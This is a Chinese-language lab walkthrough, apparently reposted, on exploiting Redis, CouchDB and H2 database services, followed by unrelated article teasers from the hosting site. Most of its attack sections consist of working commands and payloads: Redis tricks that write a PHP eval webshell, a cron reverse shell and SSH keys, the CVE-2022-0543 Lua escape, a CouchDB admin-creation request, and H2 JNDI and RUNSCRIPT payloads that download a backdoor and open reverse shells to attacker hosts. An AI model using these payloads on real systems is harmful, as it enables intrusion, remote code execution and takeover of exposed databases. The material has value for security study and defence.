服务攻防_01数据库安全RedisCouchdbH2database

一、数据库-Redis-未授权RCE&CVE

1、未授权访问:CNVD-2015-07557

(1)漏洞描述

Redis默认情况下会绑定在6379端口
如果没有采取相关策略(如添加防火墙规则阻止非信任来源IP访问),会将Redis暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

(2)影响危害

 易受攻击对象:Redis linux环境 对公网开放 未启用认证 以root方式启动(非必需)

现象

  • Redis被执行过flushall命令进行清空
  • Redis内新建crackit的key
  • Redis的dir参数被指向/root/ssh文件夹
  • /root/.ssh目录下生成authoriz_keys文件(或覆盖现有的)

(3)环境搭建

靶机:ubuntu 192.168.1.111

安装redis服务器(redis-server)

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压,进入源码目录,然后编译(make、make install)

tar  -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install

启动redis-server,注意关闭ubuntu的 防火墙iptables and ufw

查看是否启用了redis-server

ps -ef |grep redis-server

攻击机:kali 192.168.1.110

kali安装安装redis客户端(redis-cli)

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
make install

测试redis客户端连接

漏洞利用须知:

必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的,如下图所示

Redis处于保护模式,只能本地链接,我们需要修改配置文件../redis.conf

vim redis.conf

# bind 127.0.0.1
protected-mode no

修改redis配置文件后需要重新启动redis

redis-server redis.conf

然后重新测试redis连接

redis常见命令

redis-cli -h 192.168.1.111                   #远程连接redis::
192.168.1.111:6379> info                     #查看redis版本信息、服务器版本信息等
192.168.1.111:6379> CONFIG GET dir           #获取默认的redis目录
192.168.1.111:6379> CONFIG GET dbfilename    #获取默认的rdb文件名
192.168.1.111:6379> set x “test”             #将变量x的值设为test
192.168.1.111:6379> get x                    #获取变量x的值

(4)漏洞复现

Type1:写入webshell

前提条件:

1.目标有web网站 

2.知道网站根目录绝对路径(可以利用phpinfo或者错误暴路径等)

3.对目标网站根目录有写入权限。

获取网站路径方法https://www.cnblogs.com/endust/p/12132374.html

 漏洞利用:

config set dir /tmp #设置WEB写入目录config set dbfilename 1.php #设置写入文件名set test "<?php phpinfo();?>" #设置写入文件代码bgsave #保存执行save #保存执行
  • 目标有网站,使用的是xampp,xampp网站默认路径/opt/lampp/htdocs

192.168.1.111:6379> config set dir /opt/lampp/htdocs
OK
192.168.1.111:6379> config set dbfilename 1.php
OK
192.168.1.111:6379> set test "<?php phpinfo();?>"
OK
192.168.1.111:6379> bgsave
Background saving started
192.168.1.111:6379> save
OK
192.168.1.111:6379> 
  • 浏览器访问http://192.168.1.111/1.php ,发现目标靶机成功写入1.php

set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"

  • 打开蚁剑连接这个webshell

Type2:写定时任务反弹shell
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.110/5555 0>&1\n\n\n"
config set dbfilename x
save

客户机监听5555端口,反弹shell未成功

Type3:写入Linux ssh-key公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

首先在攻击机(kali)上生成ssh公钥

 将公钥写入foo.txt文件

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

再把key.txt文件内容写入redis缓冲

cat key.txt | redis-cli -h 192.168.1.111 -x set xxx

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。
这里是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

目标使用ssh服务连接其他服务器后,会自动 产生.ssh目录
经测试必须是目标服务器通过ssh连接其他服务器,目标服务器才会产生./ssh目录。若是其他服务器主动ssh连接目标服务器,则目标服务器不产生.ssh目录。

 测试是否可以通过ssh登录目标服务器,成功登录

Tyep4:自动化工具

redis-rogue-serverTyep4:自动化工具redis-rogue-server

编译工具:

cd RedisModulesSDK/exp/
make

 工具利用:

 ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1

 vulfocus靶场实验:

漏洞利用

 交互模式:

反弹模式:反弹shell未成功

学习参考: Redis 攻击方法总结(三)-阿里云开发者社区

2、未授权访问-CNVD--2019-21763

(1)漏洞描述

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

(2)漏洞利用

工具:https://github.com/vulhub/redis-rogue-getshell

#Windows下载工具zip包上传至服务器
#解压
unzip redis-rogue-getshell-master.zip
#编译
cd redis-rogue-getshell-master
cd RedisModulesSDK/
make

 编译后会生成.so文件

 查看帮助

python3 redis-master.py -h

 命令执行:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "id"

同样可以执行其他命令,如

#查看当前路径
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "pwd"
#查看当前用户名
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "whoami"
#查看tmp目录下的所有文件和文件夹
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "ls /tmp"

 3、沙箱绕过RCE-CVE-2022-0543

(1)漏洞简介

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

(2)漏洞 利用

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

执行pwd命令、ls命令

#执行pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0 
#执行ls命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0 

 

实战中有没有这个漏洞呢?

 FOFA语法搜一下

二、数据库-Couchdb-未授权RCE&CVE

1、Couchdb 垂直权限绕过(CVE-2017-12635

(1)漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在20171115日,CVE-2017-12635和CVE-2017-12636披露利用。

Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。

#数据库应用-Couchdb-未授权越权&CVE漏洞

默认端口:5984

(2)漏洞利用

1、先创建用户

修改数据包

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

{

"type": "user",

"name": "xiaodi",

"roles": ["_admin"],

"roles": [],

"password": "xiaodi"

}

2、登录用户授权

Get:/_utils/

xiaodi xiaodi

2、Couchdb 命令执行 (CVE-2017-12636)

(1)漏洞描述

Apache CouchDB是美国阿帕奇(Apache)软件基金会一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意的shell命令(包括:从公共网络上下载和执行脚本)。

(2)漏洞利用

默认端口是5984

fofa也可以搜

port=“5984”

就全是 couchDB的数据库

exp利用

1、下载exp.py

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

2、修改目标和反弹地址

3、Python3调用执行即可

执行之前在攻击主机实施监听:

nc -lvvp 9999

三、数据库-H2database-未授权RCE&VCVE

(1)漏洞描述

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

(2)漏洞利用

默认端口:20051(实战中端口是有 可能更改的)

有些 网站也有可能是8082和9082,还是需要通过一些其他的特征来判断。

H2database控制端,如果看到这个界面说明是H2database,一个java应用数据库。

安全问题:在2.1.210版本 之前的H2控制台包含Jdbc的 攻击。

网上 利用方案就是利用JNDI注入

H2database-未授权访问漏洞复现_h2 database connection-CSDN博客

在攻击机上启动JNDI服务:

下载JNDI-Injection-Exploit

https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

wget https://github.com/welk1n/JNDI-Injection-Exploit

生成执行RMI Payload-URL

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.220.95
#-A 参数后是攻击机IP地址

javax.naming.InitialContext

其他复现思路:

使用JNDI工具生成RMI利用链,执行命令下载后门文件

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "wget http://x.x.x.x/shell.elf" -A 攻击机IP地址

填入URL提交执行,点击连接

下载后门之后,给木马文件加执行权限(还是和上面同样的方式)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "chmod 777 shell.elf" -A 攻击机IP地址

靶场地址有加载rmi url就说明执行了,最后再执行 后门。

1、未授权进入:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

2、RCE执行反弹:

-创建数据库文件:h2database.sql

CREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascriptJava.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1

-启动提供SQL文件远程加载服务

利用python搭建web服务

python3 -m http.server 端口

尝试访问python搭建的web服务

-填入Payload使其加载远程SQL

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://49.232.220.95:9999/fuckh2database.sql';

http://49.232.220.95:9999/fuckh2database.sql

nc监听反弹shell端口

nc -lvvp xxxx

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/47359.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML5实现好看的天气预报网站源码

文章目录 1.设计来源1.1 获取天气接口1.2 PC端页面设计1.3 手机端页面设计 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_4…

揭秘电子画册制作流程,打造独一无二的作品

在这个数字化的时代&#xff0c;电子画册已经成为了展示个人创意和品牌形象的重要工具。它不仅能够呈现出丰富多彩的内容&#xff0c;还能够实现互动性和传播性&#xff0c;吸引众多观众的目光。然而&#xff0c;许多人对于电子画册的制作流程仍然感到陌生。本文将揭秘电子画册…

企业VR展厅如何提升品牌形象,生动展示产品和企业文化?

一、提升产品展示效果 1、全方位展示产品细节 企业VR展厅可以通过3D建模和虚拟现实技术&#xff0c;将产品的每一个细节清晰地展示出来。客户可以全方位查看产品的外观、结构和功能。这种身临其境的体验远比传统的平面展示更加生动和详细。 细节展示&#xff1a;客户可以通过…

Ubuntu22 Qt6.6 ROS 环境搭建

Ubuntu22.04; Qt6.6; Qt Creator 13.01; ROS2 1. 安装 Qt ROS 插件 1.下载地址&#xff1a; https://github.com/ros-industrial/ros_qtc_plugin/releases 选择对应 Qt Creator 版本的安装包。 2. Qt Creator中&#xff0c;“Help - 关于插件”–>“install Plugin…

一个模板实现的工厂的编译问题的解决。牵扯到重载、特化等

简介 在一个项目里&#xff0c;调用了第三封的库&#xff0c;这个库里面有个类用的很多&#xff0c;而且其构造函数至少有6个&#xff0c;并且个人感觉还不够多。根据实际使用&#xff0c;还得增加一些。 需求 1、增加构造函数&#xff0c;比如除了下面的&#xff0c;还增加…

Gateway源码分析:路由Route、断言Predicate、Filter

文章目录 源码总流程图说明GateWayAutoConfigurationDispatcherHandlergetHandler()handleRequestWith()RouteToRequestUrlFilterReactiveLoadBalancerClientFilterNettyRoutingFilter 补充知识适配器模式 详细流程图 源码总流程图 在线总流程图 说明 Gateway的版本使用的是…

01常见控件

文章目录 控件各种响应事件获取控件类型CButton/CheckBox&#xff08;多选&#xff09;/RadioButton&#xff08;单选&#xff09;EditControl&#xff08;文本编辑框&#xff09;/ ListBox&#xff08;列表文本框&#xff09;/ComboBox&#xff08;可下拉列表&#xff09;Prog…

【Ubuntu】Ubuntu系统镜像

清华镜像源 Index of /ubuntu-releases/ | 清华大学开源软件镜像站 | Tsinghua Open Source MirrorIndex of /ubuntu-releases/ | 清华大学开源软件镜像站&#xff0c;致力于为国内和校内用户提供高质量的开源软件镜像、Linux 镜像源服务&#xff0c;帮助用户更方便地获取开源软…

stm32学习:(寄存器2)GPIO总体说明

目录 GPIO的主要特点 GPIO的8种工作模式 GPIO电路结构 GPIO输出模式 输出流程 复用输出模式 GPIO输入模式 输入流程 模拟输入流程 GPIO相关的7个寄存器 GPIOx_CRL GPIOx_CRH GPIOx_IDR GPIOx_ODR GPIOx_BSRR GPIOx_BRR GPIOx_LCKR 实例 三个灯流水灯 main.…

C语言基础 9. 指针

C语言基础 9. 指针 文章目录 C语言基础 9. 指针9.1. &9.2. 指针9.3. 指针的使用9.4. 指针与数组9.5. 指针与const9.6. 指针运算9.7. 动态内存分配 9.1. & 运算符&: scanf(“%d”, &i);里的& 获得变量的地址, 它的操作数必须是变量 int i;printf(“%x”, &…

【SpringBoot Web开发之静态资源访问】笔记

详细内容见官方文档&#xff1a;Static Content SpringBoot Web开发之静态资源访问 1.准备工作&#xff1a;创建WebDemo2.静态资源目录2.1官网原文2.2静态资源目录第一步&#xff1a;依照上面2.1官网原文中创建如下目录第二步&#xff1a;复制粘贴图片到静态资源目录中第三步…

MySQL:JOIN 多表查询

多表查询 在关系型数据库中&#xff0c;表与表之间是有联系的&#xff0c;它们通过 外键 联系在一起&#xff0c;所以在实际应用中&#xff0c;经常使用多表查询。多表查询就是同时查询两个或两个以上的表。 MySQL多表查询是数据库操作中非常重要的一部分&#xff0c;它允许你…

【深入理解SpringCloud微服务】浅析微服务注册中心Eureka与nacos,手写实现一个微服务注册中心

【深入理解SpringCloud微服务】浅析微服务注册中心Eureka与nacos&#xff0c;手写实现一个微服务注册中心 注册中心手写实现一个注册中心服务端设计客户端设计 注册中心 注册中心是微服务体系里面非常重要的一个核心组件&#xff0c;它最重要的作用就是实现服务注册与发现。 …

【MyBatisPlus】快速掌握MP插件使用方法

一、MyBatis-Plus简介 1.1 简介 1.2 特性 无侵入&#xff1a;只做增强不做改变&#xff0c;引入它不会对现有工程产生影响&#xff0c;如丝般顺滑损耗小&#xff1a;启动即会自动注入基本 CURD&#xff0c;性能基本无损耗&#xff0c;直接面向对象操作强大的 CRUD 操作&#x…

【ACM独立出版|EI检索稳定】2024年智能感知与模式识别国际学术会议(ISPC 2024,9月6日-8)

2024年智能感知与模式识别国际学术会议 (ISPC 2024)将于2024年9月6日-8日于中国青岛召开。 会议将围绕智能感知与模式识别等领域中的最新研究成果&#xff0c;为来自国内外高等院校、科学研究所、企事业单位的专家、教授、学者、工程师等提供一个分享专业经验&#xff0c;扩大…

初谈Linux信号-=-信号的产生

文章目录 概述从生活角度理解信号Linux中信号信号常见的处理方式理解信号的发送与保存 信号的产生core、term区别 概述 从生活角度理解信号 你在网上买了很多件商品&#xff0c;再等待不同商品快递的到来。但即便快递没有到来&#xff0c;你也知道快递来临时&#xff0c; 你该…

机械臂泡水维修|机器人雨后进水维修措施

如果机器人不慎被水淹&#xff0c;别慌&#xff01;我们为你准备了一份紧急的机械臂泡水维修抢修指南&#xff0c;帮助你解决这个问题。 【机器人浸水被淹后紧急维修抢修&#xff5c;如何处理&#xff1f;】 机械臂被淹进水后维修处理方式 1. 机械手淹水后断电断网 首先&am…

spring整合mybatis,junit纯注解开发(包括连接druid报错的所有解决方法)

目录 Spring整合mybatis开发步骤 第一步&#xff1a;创建我们的数据表 第二步&#xff1a;编写对应的实体类 第三步&#xff1a;在pom.xml中导入我们所需要的坐标 spring所依赖的坐标 mybatis所依赖的坐标 druid数据源坐标 数据库驱动依赖 第四步&#xff1a;编写SpringC…

linux在ssh的时候询问,yes or no 如何关闭

解决&#xff1a; 在~/.ssh/config文件中添加如下配置项&#xff1a; Host *StrictHostKeyChecking no

数据可视化配色新工具,颜色盘多达2500+类

好看的配色,不仅能让图表突出主要信息,更能吸引读者,之前分享过很多配色工具,例如, 👉可视化配色工具:颜色盘多达3000+类,数万种颜色! 本次再分享一个配色工具pypalettes,颜色盘多达2500+类。 安装pypalettes pip install pypalettes pypalettes使用 第1步,挑选…